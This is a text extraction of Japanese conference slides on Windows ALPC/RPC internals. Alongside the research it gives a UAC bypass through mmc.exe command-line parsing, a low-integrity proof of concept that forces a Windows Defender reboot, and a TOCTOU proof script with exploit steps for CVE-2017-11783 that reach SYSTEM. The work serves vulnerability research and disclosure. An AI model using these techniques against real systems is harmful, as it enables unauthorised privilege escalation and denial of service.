SlideShare a Scribd company logo
1 of 50
Download to read offline
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
ALPC-RPC内部への視点
Clément Rouault & Thomas Imbert
PacSec
November 2017
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
概要
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
概要
1 はじめに
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
どうしてこの話をすることになったか?
ユーザーアカウント制御(UAC)
UACに興味を持っていた.
見つけたAPIは ShellExecuteA のみ
UACを手動で発動するには?
RPCでUACが発動するかもしれないことを知っていた
ALPCがRPCを実行できることを知っていた
そうだ、RPC-over-ALPC を探そう!
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
既存研究
発表
LPC & ALPC Interfaces - Recon 2008 - Thomas Garnier
All about the ALPC, RPC, LPC, LRPC in your PC -
Syscan 2014 - Alex Ionescu
ALPC Fuzzing Toolkit - HITB 2014 - Ben Nagy
ツール
RpcView (Jean-Marie Borello, Julien Boutet, Jeremy
Bouetard, Yoanne Girardin)
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
概要
2 ALPC
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
概要
ALPC
Advanced Local Procedure Call
ALPCポートでサーバーはリッスン
そのポートにクライアントは接続
ALPC メッセージ
ALPC メッセージは二つの部分で構成されている
PORT_MESSAGE: メッセージのヘッダーとデータ
ALPC_MESSAGE_ATTRIBUTES: 高度な機能の属性ヘッ
ダーとデータ
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
PORT_MESSAGE
0:000> dt -r combase!_PORT_MESSAGE
+0x000 u1
+0x000 s1
+0x000 DataLength : Int2B // ヘッダーを含まないデータサイズ
+0x002 TotalLength : Int2B // ヘッダー+データのサイズ
+0x000 Length : Uint4B
+0x004 u2
+0x000 s2
+0x000 Type
+0x002 DataInfoOffset
: Int2B // メッセージタイプ
: Int2B
+0x000 ZeroInit : Uint4B
0x008 ClientId : _CLIENT_ID
+0x000 UniqueProcess : Ptr32 Void // クライアントの識別
+0x004 UniqueThread : Ptr32 Void // クライアントの識別
+0x008 DoNotUseThisField : Float
+0x010 MessageId : Uint4B // 返信用のメッセージID
+0x014 ClientViewSize : Uint4B
+0x014 CallbackId : Uint4B
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
APIs
サーバー
NtAlpcCreatePort
NtAlpcAcceptConnectPort
NtAlpcSendWaitReceivePort
TpCallbackSendAlpcMessageOnCompletion
rpcrt4.dllの利用
クライアント
NtAlpcConnectPort
NtAlpcDisconnectPort
NtAlpcSendWaitReceivePort
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
Python による実装
import windows # https://github.com/hakril/PythonForWindows
def alpc_server():
server = windows.alpc.AlpcServer(PORT_NAME)
msg = server.recv() # 接続メッセージの待機
assert msg.type & 0xfff == LPC_CONNECTION_REQUEST
server.accept_connection(msg)
msg = server.recv() # 実際のメッセージの待機
print("[SERV] Received message: <{0}>".format(msg))
print("[SERV] Message data: <{0}>".format(msg.data))
assert msg.type & 0xfff == LPC_REQUEST
msg.data = "REQUEST ’{0}’ DONE".format(msg.data)
server.send(msg) # 同じMessageIdで返信
def alpc_client():
client = windows.alpc.AlpcClient(PORT_NAME)
print("[CLIENT] Connected: {0}".format(client))
response = client.send_receive("Hello world !")
print("[CLIENT] Response: <{0}>".format(response.data))
A view into
ALPC-RPC
はじめに
ALPC
RPC
RPC Bind
RPC call
EpMapper
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
概要
3 RPC
RPC Bind
RPC call
EpMapper
A view into
ALPC-RPC
はじめに
ALPC
RPC
RPC Bind
RPC call
EpMapper
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
概要
Remote Procedure Call
サーバー
1つ以上のエンドポイント
1つ以上のインターフェース
各インタフェースはメソッドを持っている
エンドポイント
ncacn_ip_tcp: IP+port
ncacn_np: pipemy_endpoint
ncalrpc: RPC Controlmy_alpc_port
...
A view into
ALPC-RPC
はじめに
ALPC
RPC
RPC Bind
RPC call
EpMapper
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
RpcView
A view into
ALPC-RPC
はじめに
ALPC
RPC
RPC Bind
RPC call
EpMapper
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
RPC コールの流れ
A view into
ALPC-RPC
はじめに
ALPC
RPC
RPC Bind
RPC call
EpMapper
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
RpcBindRequest
class ALPC_RPC_BIND(ctypes.Structure):
_pack_ = 1
_fields_ = [
("request_type", gdef.DWORD),
("UNK1", gdef.DWORD),
("UNK2", gdef.DWORD),
("target", gdef.RPC_IF_ID), # インターフェースのGUID + Version
("flags", gdef.DWORD), # NDR32 | NDR64 | ?? へのバインド
("if_nb_ndr32", gdef.USHORT), # もしNDR32への番号であれば
("if_nb_ndr64", gdef.USHORT),
("if_nb_unkn", gdef.USHORT),
("PAD", gdef.USHORT),
("register_multiple_syntax", gdef.DWORD),("use_flow",
gdef.DWORD),
("UNK5", gdef.DWORD),
("maybe_flow_id", gdef.DWORD),
("UNK7", gdef.DWORD),
("some_context_id", gdef.DWORD),
("UNK9", gdef.DWORD),
]
A view into
ALPC-RPC
はじめに
ALPC
RPC
RPC Bind
RPC call
EpMapper
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
最小のリクエストとレスポンスのビルド
リクエスト
req = ALPC_RPC_BIND()
req.request_type = gdef.RPC_REQUEST_TYPE_BIND
req.target = gdef.RPC_IF_ID(uuid, *syntaxversion)
req.flags = gdef.BIND_IF_SYNTAX_NDR32
req.if_nb_ndr32 = requested_if_nb
req.if_nb_ndr64 = 0
req.if_nb_unkn = 0
req.register_multiple_syntax = False
レスポンス
ALPC_RPC_BINDも同様
request_type == RPC_RESPONSE_TYPE_BIND_OK(1)
一部のフィールドは、サーバーによって実際に処理され
たリクエストを反映するように変更される場合がある
A view into
ALPC-RPC
はじめに
ALPC
RPC
RPC Bind
RPC call
EpMapper
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
Rpcコール
class ALPC_RPC_CALL(ctypes.Structure):
_pack_ = 1
_fields_ = [
("request_type", gdef.DWORD),
("UNK1", gdef.DWORD),
("flags",gdef.DWORD),
("request_id", gdef.DWORD),
("if_nb", gdef.DWORD),
("method_offset", gdef.DWORD),
("UNK2", gdef.DWORD),
("UNK3", gdef.DWORD),
("UNK4", gdef.DWORD),
("UNK5", gdef.DWORD),
("UNK6", gdef.DWORD),
("UNK7", gdef.DWORD),
("UNK8", gdef.DWORD),
("UNK9", gdef.DWORD),
("UNK10", gdef.DWORD),
("UNK11", gdef.DWORD),
]
A view into
ALPC-RPC
はじめに
ALPC
RPC
RPC Bind
RPC call
EpMapper
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
最小のRPCの呼び出しをビルド
req = ALPC_RPC_CALL()
req.request_type = gdef.RPC_REQUEST_TYPE_CALL
req.flags = 0
req.request_id = 0x11223344
req.if_nb = interface_nb
req.method_offset = method_offset
return buffer(req)[:] + params
多くのフィールドはまだ識別されていない
params はメソッドのパラメータを整列する
A view into
ALPC-RPC
はじめに
ALPC
RPC
RPC Bind
RPC call
EpMapper
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
Network Data Representation (NDR)
Network Data Representation (NDR)
"NDRの役割は、IDLデータ型のオクテットスト
リームへのマッピングを提供すること"
ドキュメント: http://pubs.opengroup.org/
onlinepubs/9629399/chap14.htm
Microsoft Transfert Syntax
71710533-BEBA-4937-8319-B5DBEF9CCC36 v1.0 NDR
8A885D04-1CEB-11C9-9FE8-08002B104860 v2.0 NDR64
B4537DA9-3D03-4F6B-B594-52B2874EE9D0 v1.0 ???
これを見つけたら教えてください :)
このプロジェクトのためにPythonでNDR32の一部
を実装した
A view into
ALPC-RPC
はじめに
ALPC
RPC
RPC Bind
RPC call
EpMapper
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
RPCClient - 実装
import windows.rpc
from windows.rpc import ndr
client = windows.rpc.RPCClient(r"RPC ControlHelloRpc")
iid = client.bind("41414141-4242-4343-4444-45464748494a")
ndr_params = ndr.make_parameters([ndr.NdrLong] * 2)
resp = client.call(iid, 1, ndr_params.pack([41414141, 1010101]))
result = ndr.NdrLong.unpack(ndr.NdrStream(resp))
print(result) # 42424242
client.call(iid, 0, ndr.NdrUniqueCString.pack(
"Hello from Python !x00"))
iid2 = client.bind("99999999-9999-9999-9999-999999999999")
client.call(iid2, 0, ndr.NdrCString.pack(
"Hello again from IF2 !x00"))
A view into
ALPC-RPC
はじめに
ALPC
RPC
RPC Bind
RPC call
EpMapper
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
EpMapper ?
特定のインタフェースのエンドポイントを取得するにはどうすれば?
指定されたインタフェースのエンドポイントを一覧表示
Alpc エンドポイント: RPC Controlepmapper
e1af8308-5d1f-11c9-91a4-08002b14a0fa v3.0
Method 7: ept_map_auth
ept_map_auth parameters
良く知られた PSID
protocol tower
binary-formatのドキュメント
エンドポイントプロトコルを説明するために使用
http://pubs.opengroup.org/onlinepubs/
9629399/apdxl.htm
EpMapper !
A view into
ALPC-RPC
はじめに
ALPC
RPC
RPC Bind
RPC call
EpMapper
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
EpMapper リクエストのサンプル
フルPythonで再実装された呼び出し
>>> windows.rpc.find_alpc_endpoints("880fd55e-43b9-11e0-b1a8-cf4edfd72085",
nb_response=2)
[UnpackTower(protseq=’ncalrpc’,
endpoint=bytearray(b’LRPC-b0cb073a897f2102a8’),
address=None, object=<RPC_IF_ID "880FD55E-43B9-11E0-B1A8-CF4EDFD72085" (1, 0)>,
syntax=<RPC_IF_ID "8A885D04-1CEB-11C9-9FE8-08002B104860" (2, 0)>),
UnpackTower(protseq=’ncalrpc’,
endpoint=bytearray(b’OLE8C19EF53D4A32E3D54196ECDB935’),
address=None, object=<RPC_IF_ID "880FD55E-43B9-11E0-B1A8-CF4EDFD72085" (1, 0)>,
syntax=<RPC_IF_ID "8A885D04-1CEB-11C9-9FE8-08002B104860" (2, 0)>)]
>>> client = windows.rpc.find_alpc_endpoint_and_connect(
"be7f785e-0e3a-4ab7-91de-7e46e443be29", version=(0,0))
>>> client
<windows.rpc.client.RPCClient object at 0x044EBE30>
>>> client.alpc_client.port_name
’RPC ControlLRPC-de2d0664c8d8d755b2’
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
概要
4 UAC
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
RAiLaunchAdminProcess
インターフェース
appinfo.dll
201ef99a-7fa0-444c-9399-19ba84f12a1a v2.0
Method 0: RAiLaunchAdminProcess
request_tst = RaiLaunchAdminProcessParameters.pack([
"C:windowssystem32mspaint.exex00", # アプリケーションパス
"Yolo-Commandline Whateverx00", # コマンドライン
1, # UAC-リクエストフラグ
gdef.CREATE_UNICODE_ENVIRONMENT, # dwCreationFlags
"x00", # スタートディレクトリ
"WinSta0Defaultx00", # ステーション
# スタートアップ情報
(None, # Title
1, 2, 3, 4, 5, 6, 7, 1, # Startupinfo: dwX から dwFlags
5, # wShowWindow
# Point: MonitorFromPointを使ったStartupInfo.hStdOutput のセットアップ
(0, 0)),
0x10010, #UACがフォーカスを奪えるかを知るためのウィンドウハンドル
0xffffffff]) # UAC タイムアウト
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
バグ
コマンドラインを完全に制御できた
信頼できるバイナリへUACをバイパス:
g_lpAutoApproveEXEList
mmc.exeのための特別なケース
.mscを解析してコマンドラインをパース
"," はパーサのために有効なコマンドラインの区切り文字
次のコマンドラインを作ることができる
XXX,wf.msc MY_BAD_MSC
appinfo.dll は wf.msc をターゲットと思ってしまう
mmc.exe は悪意のある MY_BAD_MSCをロードしてしまう
appinfo!AiIsEXESafeToAutoApprove
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
バイパス
悪意のあるMSCからの実行
ActiveX Controlから Flash object のMMC テン
プレートを使用できる
わずかな変更でjavascriptを実行できる
JSの external.ExecuteShellCommand 関数
beerumpを用いた解説は以下にある
http://www.rump.beer/2017/slides/from_alpc_
to_uac_bypass.pdf
これはUACのバイパスができるだけ。先に進んで
いい?
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
ALPC メッセージの機能
ファジング
結果
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
概要
ALPC メッセージの機能
ファジング
結果
5 高度な機能と脆弱性の調査
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
ALPC メッセージの機能
ファジング
結果
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
ALPC メッセージの属性の構造体
属性ヘッダの後ろに付加される構造体
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
ALPC メッセージの機能
ファジング
結果
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
ALPC メッセージの属性の用途
Security Security QoS オプション
View 共有メモリに送信されたデータ
Context メッセージコンテキスト(seq,ID)の提示
Handle オブジェクトハンドルの送信
Token トークンIDの提示
Direct 非同期完了のイベント
Work on behalf コンテナ偽装のチケット
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
ALPC メッセージの機能
ファジング
結果
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
ALPC ハンドルの属性の例
ファイルハンドルの共有
クライアント
# 共有したいファイルを開く
f = open("C:WindowsSystem32rpcrt4.dll", ’rb’)
# AlpcMessage は、割り当てられたすべての属性を初期化する
msg = windows.alpc.AlpcMessage()
# ALPC_MESSAGE_HANDLE_ATTRIBUTEのセットアップ
msg.handle_attribute.Flags = gdef.ALPC_HANDLEFLG_DUPLICATE_SAME_ACCESS
msg.handle_attribute.Handle = windows.utils.get_handle_from_file(f)
msg.handle_attribute.ObjectType = 0
msg.handle_attribute.DesiredAccess = 0
# ハンドルを有効に設定して送信
msg.attributes.ValidAttributes |= gdef.ALPC_MESSAGE_HANDLE_ATTRIBUTE
client.send_receive(msg)
サーバー
# サーバーは AlpcServer
msg = server.recv()
if msg.type & 0xfff == LPC_REQUEST:
if msg.handle_is_valid and msg.handle_attribute.Handle:
print("Object type = <{0}>".format(msg.handle_attribute.ObjectType))
print("Name = <{0}>".format(get_filename_from_handle(msg.handle_attribute.Handle)))
# Output:
# Object type = <1>
# Name = <DeviceHarddiskVolume4WindowsSystem32rpcrt4.dll>
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
ALPC メッセージの機能
ファジング
結果
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
脆弱性の調査
手動リバースエンジニアリング (高度な機能とイン
ターフェイスメソッド)
シンプルな RPC MITM で (RPC デバッガ上に構築され
た)NDRデータストリーム上の変化を再現
RPC コールと提示されているすべてのメソッドを再現
150以上の RPC インターフェース
ターゲット: 低レベルの整合性でアクセス可能な特権イン
ターフェイス
どのようにスケールする?
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
ALPC メッセージの機能
ファジング
結果
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
RPC の再現
RPC ランタイムは不正なNDRを拒否する
整列されたストリームは引数の型と一致しなければならない
1 epmapper または固定のALPCエンドポイント名を
使用してインターフェイスに接続
2 スレージェネレーターに基づいて呼び出し引数
(正しい型と構造体)を生成
3 整列され生成された引数で呼び出しを実行
4 任意の context_handle を返されたストリームか
ら抽出(有効なcontext_handleを期待するメソッドを
ファジング)
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
ALPC メッセージの機能
ファジング
結果
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
RPC の再現例
カスタマイズされた RPCViewから生成されたインターフェースコード
from rpc_forge import *
# UUID 552d076a-cb29-4e44-8b6a-d15e59e2c0af VERSION 1.0 DLL iphlpsvc.dll
interface = Interface("552d076a-cb29-4e44-8b6a-d15e59e2c0af", (1,0), [
Method("IpTransitionProtocolApplyConfigChanges", 1, In(NdrByte)),
Method("IpTransitionProtocolApplyConfigChangesEx", 1,
In(NdrByte),
In(Range(0,65535) / NdrLong),
In(SizeIs(2) / NdrCString)
),
])
context_handles = set()
method_number = interface.find_method_by_name("IpTransitionProtocolApplyConfigChangesEx")
arg = interface.methods[method_number].forge_call(context_handles)
arg
’x01PPPx05x00x00x00x05x00x00x00????x00PPP’ # ’P’ はパディング
interface.connect()
res = interface.call(method_number, arg)
res
’x00x00x00x00rxf0xadxba’
RPCForge は、カンファレンス後にGitHubでリリースす
る予定です。
iphlpsvc.dllのインターフェイスの生成
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
ALPC メッセージの機能
ファジング
結果
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
見つかったバグの種類
一意のポインタのnull許容 (NULL Dereference)
範囲属性なしのオフセットとして使用される入力パラメータ
(Out Of Bound Access)
同一プロセス内の異なるcontext_handle /インタフェースは
strict として定義する必要がある/
type_strict_context_handle (型の混同)
特権アクションを実行する前にクライアント特権をチェック
(または偽装)する必要がある(ロジックバグ)
⇒ サービスのDOS, システムの DOS (BSOD
CRITICAL_PROCESS_DIED) または権限昇格
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
ALPC メッセージの機能
ファジング
結果
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
MS AV PoCの例
rpcrt4.dll は受信バッファ内のサーバーヒープメモリ
をリークする (NtAlpcSendWaitReceivePort)
Microsoft Antimalware Service - QueryVersion and
ForcedReboot
# 低い整合性への切り替え
windows.current_process.token.integrity = SECURITY_MANDATORY_LOW_RID
#Windows Defenderの MpSvc.dllインターフェイスに接続してバインド
MS_AV_ALPC = r"RPC ControlIMpService77BDAF73-B396-481F-9042-AD358843EC24"
client = windows.rpc.RPCClient(MS_AV_ALPC)
iid = client.bind("c503f532-443a-4c69-8300-ccd1fbdb3839", version=(2,0))
# ServerMpQueryEngineVersion 41を呼び出す(メソッド番号はバージョンによって異なる場合がある)
print client.call(iid, 41, "")
# ServerMpRpcForcedReboot 83を呼び出す (同じく)
client.call(iid, 83, "0"*4)
その後、再起動!
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
概要
6 CVE-2017-11783
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
共有メモリに着目
ALPC との共有メモリはどのように機能するか?
任意の NCALRPC サーバーは使えるか?
共有メモリからどのデータがフェッチされるか?
クライアント/サーバにおける共有メモリ保護
リードオンリー / RW / RWX ?
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
ALPC と共有メモリ
共有メモリがビューとしてALPCに存在する Alpc
Alpc View: NTAPIのリバースエンジニアリング
ntdll!NtAlpcCreatePortSection
ntdll!NtAlpcCreateSectionView
ntdll!NtAlpcSendWaitReceivePort
nt!AlpcpCaptureViewAttribute
nt!AlpcpExposeViewAttribute
(リバースエンジニアリングした後)Alex Ionescuがすで
に研究していたと知った
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
論理エラー
Flag 0x40000 | SECURE_VIEW
Ntoskrnl
ntdll!NtAlpcCreatePortSection &
nt!captureViewAttributeInternal
送信時にビュー (READ_ONLY) を保護
rpcrt4
ビューでのハンドルコールの要求
NDR 逆シリアル化の前に、保護されたビュー
のデータはコピーされない
脆弱性
カーネルは VirtualProtect のビューが再度
READ_WRITE になることを保護しない
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
仮説の検証
サーバー
int Pouet(handle_t, const unsigned char* trololo)
{
std::cout << "Priting parameter: " << trololo << std::endl;
std::cout << "Waiting 1 second" << std::endl;
Sleep(1000);
std::cout << "RE-Priting parameter: " << trololo << std::endl;
return 42;
}
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
セキュアなビューを使用したRPCコール
ポインタ引数が共有メモリを直接指している
0:005> u eip L1
Example1ExplicitServer!Pouet
0139a1d0 55 push ebp
0:005> da poi(trololo)
00a5000c "My First Message"
0:005> !address 00a5000c
Usage: MappedFile
Base Address: 00a50000
End Address: 00a51000
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00040000 MEM_MAPPED
Mapped file name: PageFile
0:005> dc 00a50000
00a50000 00000011 00000000 00000011 4620794d ............My F
00a50010 74737269 73654d20 65676173 50505000 irst Message.PPP
00a50020 00000000 00000000 00000000 00000000 ................
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
仮説の検証
import windows.rpc
from windows.rpc import ndr
import windows.generated_def as gdef
client = windows.rpc.RPCClient(r"RPC ControlHelloRpc")
iid = client.bind("99999999-9999-9999-9999-999999999999")
cur_proc = windows.current_process
# セクションの作成
section = client.alpc_client.create_port_section(0x40000, 0, 0x1000)
view = client.alpc_client.map_section(section[0], 0x1000)
# コールの偽装
IF_NUMBER = client.if_bind_number[hash(buffer(iid)[:])]
call_req = client._forge_call_request(IF_NUMBER, 2, "")
# パラメータのNDRをパック
params = ndr.NdrCString.pack("My First Messagex00")
# ビューを含む新しいメッセージ
p = windows.alpc.AlpcMessage(0x2000)
p.port_message.data = call_req + ndr.NdrLong.pack(len(params) + 0x200) + "x00" * 40
p.attributes.ValidAttributes |= gdef.ALPC_MESSAGE_VIEW_ATTRIBUTE
p.view_attribute.Flags = 0x40000
p.view_attribute.ViewBase = view.ViewBase
p.view_attribute.SectionHandle = view.SectionHandle
p.view_attribute.ViewSize = len(params)
cur_proc.write_memory(view.ViewBase, params) #NDR をビューに書き込む
client.alpc_client.send(p)
cur_proc.virtual_protect(view.ViewBase, 0x1000, gdef.PAGE_READWRITE, None)
import time; time.sleep(0.5)
cur_proc.write_memory(view.ViewBase + 3*4, "VULNERABLE !x00")
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
仮説の検証 - 2
サーバー
int Pouet(handle_t, const unsigned char* trololo)
{
std::cout << "Priting parameter: " << trololo << std::endl;
std::cout << "Waiting 1 second" << std::endl;
Sleep(1000);
std::cout << "RE-Priting parameter: " << trololo << std::endl;
return 42;
}
結果!
TOCTOU をトリガーしてダブルフェッチ
する
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
ターゲットの発見
ターゲット StorSvc
be7f785e-0e3a-4ab7-91de-7e46e443be29 v0.0
メソッド 14: SvcMoveFileInheritSecurity
擬似コード
RPC_STATUS SvcMoveFileInheritSecurity(handle_t AutoBindingHandle, wchar_t *OldFileName,
wchar_t *NewFileName, DWORD Flags)
{
if ( RpcImpersonateClient(0) == RPC_S_OK )
{
if ( MoveFileExW(OldFileName, NewFileName, Flags) )
{
RpcRevertToSelf();
if ( InitializeAcl(&pAcl, 8, 2) )
{
if ( SetNamedSecurityInfoW(NewFileName, /*[...]*/) != ERROR_SUCCESS )
MoveFileExW(NewFileName, OldFileName, Flags);
}
// [...]
最後の MoveFileExW は NT AuthoritySYSTEMとし
て実行される
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
エクスプロイト
要件
脆弱な MoveFileEx にリーチ
最初にMoveFileEx が成功する必要がある
NamedSecurityInfoW は失敗する必要がある
レースに勝つ: 2つのMoveFileの間でパラメータを変更する
ステップ
%LocalAppData%Lowのファイルsrc、dst、new_srcのセットアップ
oplockを使用してコピー先ファイル(dst)をロックする
SvcMove(src, dst, MOVEFILE_REPLACE_EXISTING)をコール
ロックのコールバックがトリガされるとき
関数のパラメータを変更する(共有メモリ)
dst ⇒ new_src & src ⇒ new_dst
new_srcのACLのシステムへの WRITE_DAC を削除する
SYSTEMとしてMoveFileEx(new_src, new_dst) を実行
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
デモ
DEMO TIME !
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
概要
7 まとめ
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
まとめ
複雑なテーマ
RPC サーバーはカスタムのクライアントを待ち受ける
まだ多くの作業が必要です
我々のオープンソースの実装は、他の人がこのトピッ
クに取り組むことを支援する
Microsoftの迅速な対応と修正に感謝
A view into
ALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と
脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault
& Thomas Imbert
PacSec
質問?
ご清聴ありがとうございました
https://github.com/hakril/PythonForWindows
https://portal.msrc.microsoft.com/en-US/
security-guidance/advisory/CVE-2017-11783
@hakril
@masthoon

More Related Content

What's hot

2017年春のPerl
2017年春のPerl2017年春のPerl
2017年春のPerlcharsbar
 
signal の話 或いは Zend Signals とは何か
signal の話 或いは Zend Signals とは何かsignal の話 或いは Zend Signals とは何か
signal の話 或いは Zend Signals とは何かdo_aki
 
宣言的(Declarative)ネットワーキング
宣言的(Declarative)ネットワーキング宣言的(Declarative)ネットワーキング
宣言的(Declarative)ネットワーキングMotonori Shindo
 
レガシーなWebアプリケーションと向き合う
レガシーなWebアプリケーションと向き合うレガシーなWebアプリケーションと向き合う
レガシーなWebアプリケーションと向き合うYuta Ohashi
 
Step-Oriented Programming による任意コード実行の可能性
Step-Oriented Programming による任意コード実行の可能性Step-Oriented Programming による任意コード実行の可能性
Step-Oriented Programming による任意コード実行の可能性kozossakai
 
How to debug a perl script using gdb
How to debug a perl script using gdbHow to debug a perl script using gdb
How to debug a perl script using gdbakirahiguchi
 
高位合成友の会@ドワンゴ,2015年12月8日
高位合成友の会@ドワンゴ,2015年12月8日高位合成友の会@ドワンゴ,2015年12月8日
高位合成友の会@ドワンゴ,2015年12月8日貴大 山下
 
三項演算子を見ると「ウッ」てなる人のはなし
三項演算子を見ると「ウッ」てなる人のはなし三項演算子を見ると「ウッ」てなる人のはなし
三項演算子を見ると「ウッ」てなる人のはなしYuta Ohashi
 
